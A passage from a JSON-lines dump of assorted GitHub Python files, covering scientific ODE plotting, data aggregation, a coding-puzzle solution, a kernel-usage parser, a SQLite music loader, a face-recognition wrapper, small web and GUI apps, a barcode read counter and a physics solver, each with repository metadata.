solves the integral equation and visualizes the result\r\n @param Q (int): a variable\r\n @param w (int): another variable\r\n @param A (int): yet another variable\r\n @param th (int): some variable\r\n @param v (int): the last variable\r\n \"\"\"\r\n\r\n y0=[th,v]\r\n t = np.linspace(0,100,2000)\r\n us=odeint(f, y0 , t, args=(Q,w,A))\r\n ys=us[:,0]\r\n vs=us[:,1]\r\n plt.plot(t,ys,\"-\")\r\n plt.plot(t,vs,\"-\")\r\n plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n \r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-th', \"--th\", required = True, type = float, help = \"theta argument\")\r\n parser.add_argument('-Q', \"--Q\", required = True, type = float, help = \"Q argument\")\r\n parser.add_argument('-w', \"--w\", required = True, type = str, help = \"w argument\")\r\n parser.add_argument('-A', \"--A\", required = True, type = float, help = \"A argument\")\r\n parser.add_argument('-v', \"--v\", required = True, type = float, help = \"v argument\")\r\n args = parser.parse_args()\r\n\r\n args.w = Fraction(args.w)\r\n\r\n draw(args.Q, args.w, args.A, args.th, args.v)","repo_name":"tashiamuffin/programming_lists","sub_path":"lista4.1.py","file_name":"lista4.1.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71705267093","text":"from pathlib import Path\nimport pandas as pd\nfrom typing import Iterable\nfrom datetime import datetime\n\nfrom DataAggregation.DataAggregator import DataAggregator\n\n\nclass EmotionAggregator(DataAggregator):\n def __init__(self):\n super().__init__()\n self.columns = ['RunTime', 'RunDate', 'Valence', 'Arousal']\n\n def prepare_data(self, root_path: str, run_start_dates, run_durations, rec_start_date: str) -> pd.DataFrame:\n time_format = \"%y-%m-%d-%H-%M-%S\"\n path = Path(root_path + '/Emotion.csv')\n raw = pd.read_csv(path)\n raw[\"Time\"] = [i for i in range(0, len(raw.values))]\n\n run_start_dates_stamp = [*map(lambda x: datetime.strptime(x, time_format), run_start_dates)]\n rec_start_date_stamp = datetime.strptime(rec_start_date, time_format)\n\n data = {\n self.columns[0]: [],\n self.columns[1]: [],\n self.columns[2]: [],\n self.columns[3]: []\n }\n\n for i in range(0, len(run_start_dates)):\n run_start_index = (run_start_dates_stamp[i] - rec_start_date_stamp).seconds\n\n for j in range(0, run_durations[run_start_dates[i]]):\n data[self.columns[0]].append(j)\n data[self.columns[1]].append(run_start_dates[i])\n\n index = run_start_index + j\n if (index >= len(raw.values)):\n data[self.columns[2]].append(0)\n data[self.columns[3]].append(0)\n else:\n data[self.columns[2]].append(raw['valence'][run_start_index + j])\n data[self.columns[3]].append(raw['arousal'][run_start_index + j])\n\n\n return pd.DataFrame(data)\n","repo_name":"Dmitriy211/ERIP","sub_path":"Python/DataAggregation/EmotionAggregator.py","file_name":"EmotionAggregator.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38714871812","text":"\"\"\"\nProblem:\n\nYou are given an N by M 2D matrix of lowercase letters. Determine the minimum number of\ncolumns that can be removed to ensure that each row is ordered from top to bottom\nlexicographically. That is, the letter at each column is lexicographically later as you\ngo down each row. It does not matter whether each row itself is ordered\nlexicographically.\n\nFor example, given the following table:\n\ncba\ndaf\nghi\nThis is not ordered because of the a in the center. We can remove the second column to\nmake it ordered:\n\nca\ndf\ngi\nSo your function should return 1, since we only needed to remove 1 column.\n\nAs another example, given the following table:\n\nabcdef\nYour function should return 0, since the rows are already ordered (there's only one\nrow).\n\nAs another example, given the following table:\n\nzyx\nwvu\ntsr\nYour function should return 3, since we would need to remove all the columns to order\nit.\n\"\"\"\n\nfrom typing import List\n\n\ndef get_minimum_column_removals(matrix: List[List[int]]) -> int:\n rows, columns = len(matrix), len(matrix[0])\n count = 0\n for column in range(columns):\n # checking if the column is lexicographical\n for row in range(rows - 1):\n if matrix[row][column] > matrix[row + 1][column]:\n count += 1\n break\n return count\n\n\nif __name__ == \"__main__\":\n print(get_minimum_column_removals([\"cba\", \"daf\", \"ghi\"]))\n print(get_minimum_column_removals([\"abcdef\"]))\n print(get_minimum_column_removals([\"zyx\", \"wvu\", \"tsr\"]))\n\n\n\"\"\"\nSPECS:\n\nTIME COMPLEXITY: O(n x m)\nSPACE COMPLEXITY: O(1)\n\"\"\"\n","repo_name":"ruppysuppy/Daily-Coding-Problem-Solutions","sub_path":"Solutions/076.py","file_name":"076.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":444,"dataset":"github-code","pt":"67"} +{"seq_id":"39788520680","text":"#!/usr/bin/env python\n\nimport subprocess\nimport os.path\nimport yaml\nimport io\nimport re\n\ndef parseKernelUsages(usageStr, usageDict):\n demangler = 'c++filt -p'\n\n def getKernelMem(usages):\n match = re.search(r\"([0-9]+) bytes cmem\\[0\\]\", usages)\n return match.group(1) if match else None\n def getSharedMem(usages):\n match = re.search(r\"([0-9]+) bytes smem\", usages)\n return match.group(1) if match else None\n def getRegisters(usages):\n match = re.search(r\"[Uu]sed ([0-9]+) registers\", usages)\n return match.group(1) if match else None\n def demangle(fn):\n expr = re.compile(\"__omp_offloading_[a-zA-Z0-9]*_[a-zA-Z0-9]*_(_Z.*_)_l[0-9]*$\")\n match = expr.search(fn)\n function = match.group(1) if match else fn\n output = subprocess.run(demangler.split(' ') + [function], check=True, stdout=subprocess.PIPE)\n return output.stdout.decode('utf-8').strip()\n def getLine(fn):\n expr = re.compile(\"__omp_offloading_[a-zA-Z0-9]*_[a-zA-Z0-9]*_.*_l([0-9]*)$\")\n match = expr.search(fn)\n return match.group(1) if match else 0\n\n expr = re.compile(\"Function properties for \\'?([a-zA-Z0-9_]*)\\'?\\n(.*,.*)\\n\")\n for (fn, usages) in expr.findall(usageStr):\n info = usageDict[fn] if fn in usageDict else dict()\n info[\"Name\"] = demangle(fn)\n info[\"DebugLoc\"] = {\"File\" : \"unknown\", \"Line\": getLine(fn), \"Column\" : 0}\n info[\"Usage\"] = {\"Registers\" : getRegisters(usages), \"Shared\" : getSharedMem(usages), \"Kernel\" : getKernelMem(usages)}\n usageDict[fn] = info\n\ndef getKernelUsage(stderr, fname='usage.yaml'):\n remarks = [line for line in stderr.split('\\n') if re.search(r\"^remark:\", line)]\n ptxas = '\\n'.join([line.split(':')[1].strip() for line in stderr.split('\\n') if re.search(r\"^ptxas info *:\", line)])\n nvlink = '\\n'.join([line.split(':')[1].strip() for line in stderr.split('\\n') if re.search(r\"^nvlink info *:\", line)])\n\n if os.path.exists(fname):\n with io.open(fname, 'r', encoding = 'utf-8') as f:\n usage = yaml.load(f, Loader=yaml.Loader)\n else:\n usage = dict()\n\n parseKernelUsages(ptxas, usage)\n parseKernelUsages(nvlink, usage)\n\n return usage\n","repo_name":"facebookincubator/BOLT","sub_path":"openmp/tools/analyzer/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":2500,"dataset":"github-code","pt":"67"} +{"seq_id":"8668459442","text":"import xml.etree.ElementTree as ET\nimport sqlite3\n\nconn = sqlite3.connect('hw3.sqlite')\ncur = conn.cursor()\n\n# Create some tables in the database\ncur.executescript('''\nDROP TABLE IF EXISTS Artist;\nDROP TABLE IF EXISTS Genre;\nDROP TABLE IF EXISTS Album;\nDROP TABLE IF EXISTS Track;\n\nCREATE TABLE Artist (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n name TEXT UNIQUE\n);\n\nCREATE TABLE Genre (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n name TEXT UNIQUE\n);\n\nCREATE TABLE Album (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n artist_id INTEGER,\n title TEXT UNIQUE\n);\n\nCREATE TABLE Track (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n title TEXT UNIQUE,\n album_id INTEGER,\n genre_id INTEGER,\n len INTEGER,\n rating INTEGER,\n count INTEGER\n);\n''')\n\n# Read the XML file\nfname = 'data/Library.xml'\n\ndef lookup(d, key):\n '''\n Parameters\n ----------\n d : dictionary\n\n key : string\n '''\n found = False\n for child in d:\n if found: return child.text\n if child.tag == 'key' and child.text == key:\n found = True\n return None\n\n# Create XML ET object\nstuff = ET.parse(fname)\n\n# Find all dictionary tags (nested as well)\nall = stuff.findall('dict/dict/dict')\n\nprint('Dict count:', len(all))\n\nfor entry in all:\n if (lookup(entry, 'Track ID') is None) : continue\n\n name = lookup(entry, 'Name')\n artist = lookup(entry, 'Artist')\n genre = lookup(entry, 'Genre')\n album = lookup(entry, 'Album')\n count = lookup(entry, 'Play Count')\n rating = lookup(entry, 'Rating')\n length = lookup(entry, 'Total Time')\n\n if name is None or artist is None or genre is None or album is None:\n continue\n\n print(name, artist, genre, album, count, rating, length)\n\n # Artist name must be unique. If exist, ignore\n cur.execute('INSERT OR IGNORE INTO Artist (name) VALUES (?)', (artist, )\n )\n\n # Get the artist id of the previously inserted/not inserted data\n cur.execute('SELECT id FROM Artist WHERE name = ?', (artist, ))\n artist_id = cur.fetchone()[0]\n\n cur.execute('''INSERT OR IGNORE INTO Album (title, artist_id)\n VALUES (?, ?)''', (album, artist_id))\n cur.execute('SELECT id FROM Album WHERE title = ? ', (album, ))\n album_id = cur.fetchone()[0]\n\n # Genre must be unique. If exist, ignore\n cur.execute('INSERT OR IGNORE INTO Genre (name) VALUES (?)', (genre, ))\n\n # Get the genre id of the track\n cur.execute('SELECT id FROM Genre WHERE name = ?', (genre, ))\n genre_id = cur.fetchone()[0]\n\n # If exist, it will be an update. This only exist in sqlite\n cur.execute('''INSERT OR REPLACE INTO Track\n (title, album_id, genre_id, len, rating, count)\n VALUES (?, ?, ?, ?, ?, ?)''',\n (name, album_id, genre_id, length, rating, count))\n\n conn.commit()\n","repo_name":"nikmuhammadnaim/coursera","sub_path":"umich/python_for_everybody/python_database/hw_week3.py","file_name":"hw_week3.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41106642273","text":"import os\nimport numpy as np\nfrom pathlib import Path\n\n\n# pylint: disable=too-few-public-methods\n\nclass DlibResNet:\n def __init__(self):\n\n # this is not a must dependency\n import dlib # 19.20.0\n\n self.layers = [DlibMetaData()]\n\n # ---------------------\n\n root_path = str(Path.cwd())\n weight_file = \"dlib_face_recognition_resnet_model_v1.dat\" \n model = dlib.face_recognition_model_v1(root_path + '/models/basemodels/weights/' + weight_file)\n self.__model = model\n print('loading weight from ' + root_path + '/models/basemodels/weights/' + weight_file)\n\n # ---------------------\n\n # return None # classes must return None\n\n def predict(self, img_aligned):\n\n # functions.detectFace returns 4 dimensional images\n if len(img_aligned.shape) == 4:\n img_aligned = img_aligned[0]\n\n # functions.detectFace returns bgr images\n img_aligned = img_aligned[:, :, ::-1] # bgr to rgb\n\n # deepface.detectFace returns an array in scale of [0, 1]\n # but dlib expects in scale of [0, 255]\n if img_aligned.max() <= 1:\n img_aligned = img_aligned * 255\n\n img_aligned = img_aligned.astype(np.uint8)\n\n model = self.__model\n\n img_representation = model.compute_face_descriptor(img_aligned)\n\n img_representation = np.array(img_representation)\n img_representation = np.expand_dims(img_representation, axis=0)\n\n return img_representation\n\n\nclass DlibMetaData:\n def __init__(self):\n self.input_shape = [[1, 150, 150, 3]]\n","repo_name":"panda12081208/Colaborate_Project_SamePerson","sub_path":"AI_16_CP2-main/models/basemodels/DlibResNet.py","file_name":"DlibResNet.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19609932291","text":"#! /usr/bin/python3\n\nimport rospy\nfrom beginner_tutorials.srv import message, messageResponse\n\ndef check_even_odd(req):\n print(\"returning {}\".format(req.num))\n if req.num%2 == 0:\n return messageResponse('even')\n else:\n return messageResponse('odd')\n\ndef server():\n rospy.init_node('server')\n msg = rospy.Service('check_even_odd', message, check_even_odd)\n rospy.spin()\n\nif __name__ == \"__main__\":\n \n server()","repo_name":"Aegis-AI-Study/ROS_basics","sub_path":"CH1 메시지 통신/Service_examples/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39693493742","text":"import sys\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QWidget, QAction, QTableWidget,QTableWidgetItem,QVBoxLayout\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import pyqtSlot\nfrom config import Session \nfrom tables import User\nfrom _mysql import result\n\nclass DeleteUserUI(QWidget):\n session=Session()\n def __init__(self):\n super().__init__()\n self.title = 'Delete User'\n self.left = 30\n self.top = 30\n self.width = 500 \n self.height = 500\n self.initUI()\n \n def initUI(self):\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n \n self.createTable()\n \n # Add box layout, add table to box layout and add box layout to widget\n self.layout = QVBoxLayout()\n self.layout.addWidget(self.tableWidget) \n self.setLayout(self.layout) \n \n # Show widget\n \n def createTable(self):\n users=self.session.query(User).all()\n print(len(users))\n # Create table\n self.tableWidget = QTableWidget()\n self.tableWidget.setRowCount(len(users)+1)\n self.tableWidget.setColumnCount(4)\n self.tableWidget.setItem(0,0, QTableWidgetItem(\"Id\"))\n self.tableWidget.setItem(0,1, QTableWidgetItem(\"Username\"))\n self.tableWidget.setItem(0,2, QTableWidgetItem(\"Role\"))\n self.tableWidget.setItem(0,3, QTableWidgetItem(\"Action\"))\n for i in range(len(users)):\n self.tableWidget.setItem(i+1,0,QTableWidgetItem(str(users[i].id)))\n self.tableWidget.setItem(i+1,1,QTableWidgetItem(users[i].username))\n self.tableWidget.setItem(i+1,2,QTableWidgetItem(users[i].role))\n self.tableWidget.setItem(i+1,3,QTableWidgetItem(\"Delete\"))\n self.tableWidget.move(0,0)\n \n # table selection change\n self.tableWidget.doubleClicked.connect(self.on_click)\n \n \n def on_click(self):\n print(\"\\n\")\n for currentQTableWidgetItem in self.tableWidget.selectedItems():\n if(currentQTableWidgetItem.text()==\"Delete\"):\n row=currentQTableWidgetItem.row()\n item=self.tableWidget.item(row,0)\n print(item.text())\n result=self.session.query(User).filter(User.id==item.text()).first()\n try:\n self.session.delete(result)\n self.session.commit()\n self.tableWidget.update()\n except:\n print(\"Error while deleting the user\")\n \n","repo_name":"spravesh/pylibrary","sub_path":"main/DeleteUserUI.py","file_name":"DeleteUserUI.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16587039267","text":"from django.urls import path\nfrom . import views\n\napp_name = \"acc\"\n\nurlpatterns = [\n path('', views.index, name=\"index\"),\n path('signup', views.signup, name=\"signup\"),\n path('userlogin', views.userlogin, name=\"userlogin\"),\n path('userlogout', views.userlogout, name=\"userlogout\"),\n path('profile', views.profile, name=\"profile\"),\n path('update', views.update, name=\"update\"),\n path('remove', views.remove, name=\"remove\")\n]\n","repo_name":"kongklist/kongkong","sub_path":"acc/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12593120950","text":"# Minecraft Java Edition 1.16.5\n# Connection and blockID : MCJE\n# World parameters : MCJE\n\nprint(\"param_MCJE loaded\")\n\n# axis parameters\nAXIS_WIDTH = 40 # x, z: -40 .. 0 .. 40\nAXIS_TOP = 127\nAXIS_Y_V_ORG = 96 # y of virtual origin\nAXIS_BOTTOM = 63 # y: 63 .. 96 .. 127\n\n# virtical levels\nY_TOP = 255 # the top where blocks can be set\nY_CLOUD_BOTTOM = 128 # the bottom of clouds\nY_SEA = 62 # the sea level\nY_BOTTOM = 0 # the bottom where blocks can be set\nY_BOTTOM_STEVE = -64 # the bottom where Steve can go down\n\n# connection port\nPORT_MC = 14712\n\n# block IDs You can find IDs here: https://minecraft-ids.grahamedgecombe.com/\nAIR = \"air\"\nSTONE = \"stone\"\nGRASS_BLOCK = \"grass_block\"\nGOLD_BLOCK = \"gold_block\"\nIRON_BLOCK = \"iron_block\"\nGLOWSTONE = \"glowstone\"\nSEA_LANTERN_BLOCK = \"sea_lantern\"\n\n# some good blocks for grid like patterns you can count blocks easily\nGLASS = \"glass\"\nTNT = \"tnt\"\nDIAMOND_BLOCK = \"diamnd_block\"\nFURNACE_INACTIVE = \"furnace\"\nFURNACE_ACTIVE = \"lit_furnace\"\nGLASS_PANE = \"glass_pane\"\n","repo_name":"Naohiro2g/minecraft_remote","sub_path":"param_MCJE.py","file_name":"param_MCJE.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"70755527254","text":"import subprocess\nimport os # os.walk(), os.join.path()\nimport pickle\nimport csv\nfrom Scripts.Global import Log\n\n\nclass Count:\n \"\"\"\n This class is responsible for counting the number of barcodes present in the output of guppy_barcode\n \"\"\"\n def __init__(self, input_directory, save_directory, file_name=None):\n \"\"\"\n this is the main driver function, and will be ran when a Count() class is implemented\n Creates a file in the directory selected containing which barcode folders\n This will only work on .fastq/.fasta files\n\n :param str input_directory: The input location of .fastx files that you would like to count the number of reads of\n :param str save_directory: This is where the resulting .csv file will be saved\n :param str file_name: An optional parameter of the name of the file. A `.csv` extension will automatically be added at the end of your file name\n :return: None\n \"\"\"\n\n self.save_directory = save_directory\n self.input_directory = input_directory\n self.file_name = file_name\n self.unclassified_folder_duplicate_value = 0\n self.barcode_correlations = {}\n\n # get locations of all barcode files\n self.file_paths = sorted(self.__return_file_paths(self.input_directory))\n\n # we want to check the output of paths, and ensure that the argument input is correct\n self.__validate_file_argument_input()\n\n # count barcodes\n self.total_barcodes = -1 # no barcodes found\n self.total_barcodes = self.__count_barcodes(self.file_paths)\n self.__write_correlations_to_file()\n\n def __return_file_paths(self, barcode_parent):\n \"\"\"\n This method will use the os.walk() function to collect the file path of all files that have \"fastq_runid\" in\n the name. This is important because guppy will output multiple files; we are only interested in the ones\n that have barcodes in the file\n\n os.walk() documentation: https://www.tutorialspoint.com/python/os_walk.htm\n\n :param _io.TextIO barcode_parent: The parent directory of the barcode files\n :return: list\n\n Example return item: /home/USERNAME/minknow_data/CLC_2020-02-11/demultiplex_dual/barcode01/fastq_runid_67a0761ea992f55d7000e748e88761780ca1bb60_0.fastq\n \"\"\"\n\n # this will be returned\n file_paths = []\n\n # iterate through each directory, and collect files that contain \"fastq_runid\" in the name\n for root, directory, files in os.walk(barcode_parent):\n for name in files:\n file_paths.append( os.path.join(root, name) ) # append file to file_paths\n return file_paths\n\n def __validate_file_argument_input(self):\n correct_input = True\n\n # try to clear the screen\n try:\n subprocess.run(\"clear\")\n except FileNotFoundError:\n subprocess.run(\"cls\")\n\n if len(self.file_paths) == 0:\n print(\"\")\n print(\"No files were returned from your input path\")\n print(\"If your path contains spaces, please place quotations around them when calling CountReads.py\")\n print( \"Input path: {0}\".format(self.input_directory) )\n correct_input = False\n\n if not os.path.isdir(self.input_directory):\n print(\"\")\n print(\"Your input path is not a directory\")\n print(\"If your path contains spaces, please place quotations around them when calling CountReads.py\")\n print( \"Input path: {0}\".format(self.save_directory) )\n correct_input = False\n\n if not os.path.isdir(self.save_directory):\n print(\"\")\n print(\"Your save path is not a directory\")\n print( \"Save path: {0}\".format(self.save_directory) )\n correct_input = False\n\n # if `/` or `\\` in self.file_name, tell user they cannot do this\n if self.file_name is not None and any(x in \"\\\\/\" for x in self.file_name):\n print(\"\")\n print(\"You cannot have a slash (forward or backward) in your file name\")\n print(\"File name: {0}\".format(self.file_name))\n correct_input = False\n\n if not correct_input:\n exit(0)\n\n def __count_barcodes(self, barcode_file_path):\n \"\"\"\n This function will take an iterable as its parameter and count the number of barcodes present in each file\n It does this by assuming that each line that starts with two DNA base pairs (ATCG) is a barcode\n If this is wrong, it can be modified later\n It will return an integer containing the total number of barcodes found throughout the files passed in\n\n ------------------------------- LIST EXAMPLE -------------------------------\n barcode_file_path = [\n \"/home/USERNAME/minknow_data/2020-02-15/barcode01/text_file_with_barcodes_01.txt\",\n \"/home/USERNAME/minknow_data/2020-02-15/barcode01/text_file_with_barcodes_02.txt\",\n \"/home/USERNAME/minknow_data/2020-02-15/barcode01/text_file_with_barcodes_03.txt\"\n ]\n\n :param list barcode_file_path: iterable (list, tuple)\n :return: int total_barcodes\n \"\"\"\n\n # this will be returned\n total_barcodes = 0\n\n # create a simple progress bar\n # iterate over each barcode file\n for barcode_file in barcode_file_path:\n\n # open each `barcode_file` as `file`\n with open(barcode_file, 'r') as file:\n file_barcodes = 0\n # set the identifier for FASTQ (\"@\") or FASTA (\">\") files\n identifier = \"\"\n if \".fastq\" in str(file):\n identifier = \"@\"\n elif \".fasta\" in str(file):\n identifier = \">\"\n\n # we only want to use files that have .fastq/.fasta in their file name\n # `identifier` is reset after opening each file. If identifier == \"\", .fastq/.fasta has not been found in the file name\n if identifier is not \"\":\n # iterate over each line in the barcode file\n for line in file:\n # test if the beginning of a line has the identifier (`@` or `>`)\n if line[0] == identifier:\n total_barcodes += 1\n file_barcodes += 1\n\n self.__correlate_barcodes(file_barcodes, file)\n\n return total_barcodes\n\n def __correlate_barcodes(self, reads_in_file, file_path):\n \"\"\"\n This function will correlate the number of barcodes to each barcode folder\n It will do this by adding a key/value pair to the dictionary self.barcode_correlations in __init__()\n This dictionary can be used in other class methods\n\n :param int reads_in_file: the number of barcodes in the current file\n :param _io.TextIO file_path: the current file path\n :return: None\n \"\"\"\n str_file_path = str(file_path)\n barcode_index = str_file_path.find(\"barcode\")\n unclassified_index = str_file_path.find(\"unclassified\")\n\n \"\"\"\n Barcodes are classified into one of two categories: barcode## (where ## are integers), or unclassified\n If an unclassified folder is found, barcode_index will be -1. In this case, the unclassified_index will be\n greater than -1. Use this index to determine the folder name\n \"\"\"\n if barcode_index > 0:\n folder_number = str_file_path[barcode_index: barcode_index + 9]\n else:\n folder_number = str_file_path[unclassified_index: unclassified_index + 12]\n\n # we want to add a new entry if the current barcode has not been added\n if folder_number not in self.barcode_correlations.keys():\n self.barcode_correlations[folder_number] = reads_in_file\n\n # if the entry is already present, we want to add reads_in_file to the current value\n else:\n self.barcode_correlations[folder_number] += reads_in_file\n\n def __write_correlations_to_file(self):\n \"\"\"\n This function will write the dictionary self.barcode_correlations to a text file. This file can be specified by\n the user. For now, this will be saved in the same directory as the barcode folders under the name\n \"barcode_counts.txt\".\n\n :param: None\n :return: None\n \"\"\"\n\n if self.file_name is None:\n pickle_file_name = self.save_directory + \"/barcode_pickle_dump.pkl\"\n save_directory = self.save_directory + \"/barcode_counts.csv\"\n else:\n pickle_file_name = self.save_directory + \"/{0}.pkl\".format(self.file_name)\n save_directory = self.save_directory + \"/{0}.csv\".format(self.file_name)\n\n sorted_keys = sorted(self.barcode_correlations)\n\n # make the directory to write files. The directory may exist, so move on if it does\n try:\n os.mkdir(self.save_directory)\n except FileExistsError:\n pass\n\n with open(save_directory, 'w') as file:\n csv_writer = csv.writer(file)\n\n # write a header row\n csv_writer.writerow( ['barcode_number', 'reads_in_barcode'] )\n\n # using each key\n for key in sorted_keys:\n # write data to file\n csv_writer.writerow( [key, '%d' % self.barcode_correlations[key]] )\n self.__write_log_to_file(key)\n\n \"\"\"\n Serialization is a process that saves data to a file so it can be used in its exact state at a later time\n Python's `pickle` module does this very easily\n I am using this on the self.barcode_correlations dictionary in case its data is needed again later\n \"\"\"\n output_file = open(pickle_file_name, 'wb')\n pickle.dump(self.barcode_correlations, output_file)\n output_file.close()\n\n \"\"\"\n Reading a pickle file can be done below\n This will result in the same exact variable type as self.barcode_correlations\n \n self.barcode_correlations = { 'barcode01': [123,\n FILE_NAME_01],\n\n 'barcode02': [456,\n FILE_NAME_02]\n } etc.\n \n pickle_read = r\"/home/joshl/minknow_data/CLC_2020-02-11/demultiplex_dual/barcode_pickle_dump.pkl\"\n infile = open(pickle_read, 'rb')\n new_dict = pickle.load(infile)\n infile.close()\n\n for key in new_dict:\n print(key, new_dict[key])\n \"\"\"\n\n def __write_log_to_file(self, barcode_number: str):\n \"\"\"\n This function will write to a log file stating what barcode is being counted\n\n It will write logs in the following format: YEAR-MONTH-DAY HOUR:MINUTE -- COMMAND LINE\n 2020-06-01 09:35 | barcode03 completed counting\n 2020-06-01 15:05 | barcode45 completed counting\n\n :param str barcode_number: This is the current file path that is being counted\n \"\"\"\n\n try:\n log_path = snakemake.input.log_path\n except FileNotFoundError:\n log_path = r\"../Results/Script_Logs/count_reads_log.txt\"\n\n # find the barcode index to know that it has been counted\n barcode_index = -1\n for index in range(len(self.file_paths)):\n if barcode_number in self.file_paths[index]:\n barcode_index = index\n\n # the barcode has NOT been found\n if barcode_index is -1:\n Log(\"Unknown Barcode: {0}\".format(barcode_number),\n log_path=log_path,\n erase_file=False)\n\n # the barcode HAS been found\n else:\n Log(\"Completed count on: {0}\".format(self.file_paths[barcode_index]),\n log_path=log_path,\n erase_file=False)\n\n\ndef get_input_directory():\n return snakemake.input.input_directory\n\n\ndef get_save_directory():\n return snakemake.output.save_directory\n\n\ndef start_counts():\n arguments = []\n # the file name is always passed in as an argument, so we must add 1 to the total number of argv's we think we are getting\n if len(arguments) == 3:\n Count(input_directory=arguments[1], save_directory=arguments[2])\n elif len(arguments) == 4:\n Count(input_directory=arguments[1], save_directory=arguments[2], file_name=arguments[3])\n else:\n print(arguments)\n print(\"\")\n print(\"You must include an argument for the following parameters:\")\n print(\"input_directory: The input location of .fastx files that you would like to count the number of reads \")\n print(\"save_directory: This is where the resulting .csv file will be saved\")\n print(\"(optional) file_name: An optional parameter of the name of the file. A `.csv` extension will automatically be added at the end of your file name\")\n print(\"\")\n\n\nif __name__ == '__main__':\n Count(input_directory=get_input_directory(),\n save_directory=get_save_directory())\n","repo_name":"pmewing/ARS","sub_path":"Scripts/CountReads.py","file_name":"CountReads.py","file_ext":"py","file_size_in_byte":13259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2846898630","text":"# app.py\nfrom flask import Flask\nfrom routes import schedule, pairing, config\n\napp = Flask(__name__)\n\napp.route('/schedule', methods=['GET'])(schedule.receive_data)\napp.route('/pairing', methods=['POST'])(pairing.register_pet)\napp.route('/config', methods=['POST'])(config.register_token)\n\nif __name__ == '__main__':\n host = 'localhost'\n port = 8080 \n app.run(host=host, port=port)\n \n \n","repo_name":"PurrPaws/raspberry","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6615107119","text":"RIVER_STATIONS_TYPES = {'town': str, 'river_name': str, 'label': str,\n 'lat': float, 'lon': float, 'stage_scale_url': str,\n 'typical_low': float , 'typical_high': float,\n 'url': str}\n\ndef map_redis_response(response_dict, response_types):\n \"\"\"Casts binary strings returned from Redis to the types intended.\n\n Both dict keys must match. response_types values must be a type or a\n callable.\n \"\"\"\n out_dict = {}\n for k, v in response_dict.items():\n val = v.decode('ascii')\n if val == 'None':\n converted_val = None\n else:\n converted_val = response_types[k.decode('ascii')](val)\n\n out_dict[k.decode('ascii')] = converted_val\n return out_dict\n","repo_name":"jamesnunn/spareparts","sub_path":"redis_stuff.py","file_name":"redis_stuff.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22625658870","text":"# solver for continuty, momentum and energy equation\n\n# libs for calculation \nimport numpy as np\nimport pdrop as pd\nimport math\n\n\n# steady state momentum equation\ndef u_steady(u_i,rho_ip1,rho_i,dp):\n\trho_m = 1/2*(rho_ip1 + rho_i)\n\tresult = '%.10f'%(math.sqrt(u_i**2 - 2/rho_m * dp))\n\n\treturn result\n\n# steady state energy equation\ndef rho_steady(rho_i,u_ip1,u_i):\n\tu_m = 1/2 * (u_ip1+u_i)\n\tdu = u_ip1 - u_i\n\n\ta = du/2 + u_m\n\tc = (u_m - du/2)*rho_i\n\n\tresult = c/a\n\t\n\treturn '%.10f'%result\n\n# solution of rho for continuty equation\ndef rho_curr(u_n_ip1,u_n_i,rho_n_i,rho_nm1_ip1,rho_nm1_i,dz,dt):\n\tu_n_m = 1/2 * (u_n_ip1 + u_n_i)\n\trho_nm1_m = 1/2 * (rho_nm1_ip1+rho_nm1_i)\n\tdu_n_z = u_n_ip1 - u_n_i\n\tb = (dt*u_n_m-dz/2-dt*du_n_z/2)*rho_n_i + dz*rho_nm1_m \n\ta = dz/2 + dt*du_n_z/2 + dt*u_n_m\n\tresult = '%.10f'%(b/a)\n\t\n\treturn result\n\n# solution of u for mass continuty equation\ndef u_correct(u_n_i,rho_n_ip1,rho_n_i,rho_nm1_ip1,rho_nm1_i,dt,dz):\n\trho_n_m = 1/2 * (rho_n_ip1 + rho_n_i)\n\trho_nm1_m = 1/2 * (rho_nm1_ip1 + rho_nm1_i)\n\tdrho_n_z = rho_n_ip1 - rho_n_i\n\tdrho_t = rho_n_m - rho_nm1_m\n\n\tb1 = (rho_n_m - 1/2*drho_n_z)*u_n_i\n\tb2 = -dz*drho_t/dt\n\ta = rho_n_m + 1/2*drho_n_z\n\n\tresult = '%.10f'%((b1+b2)/a)\n\n\treturn result\n\n# solution of velocity for momentum equation\ndef u_curr(u_n_i,u_nm1_ip1,u_nm1_i,rho_n_ip1,rho_n_i,dz,dt,dp):\n#\taverage filed\n\tu_nm1_m = 1/2 * (u_nm1_ip1 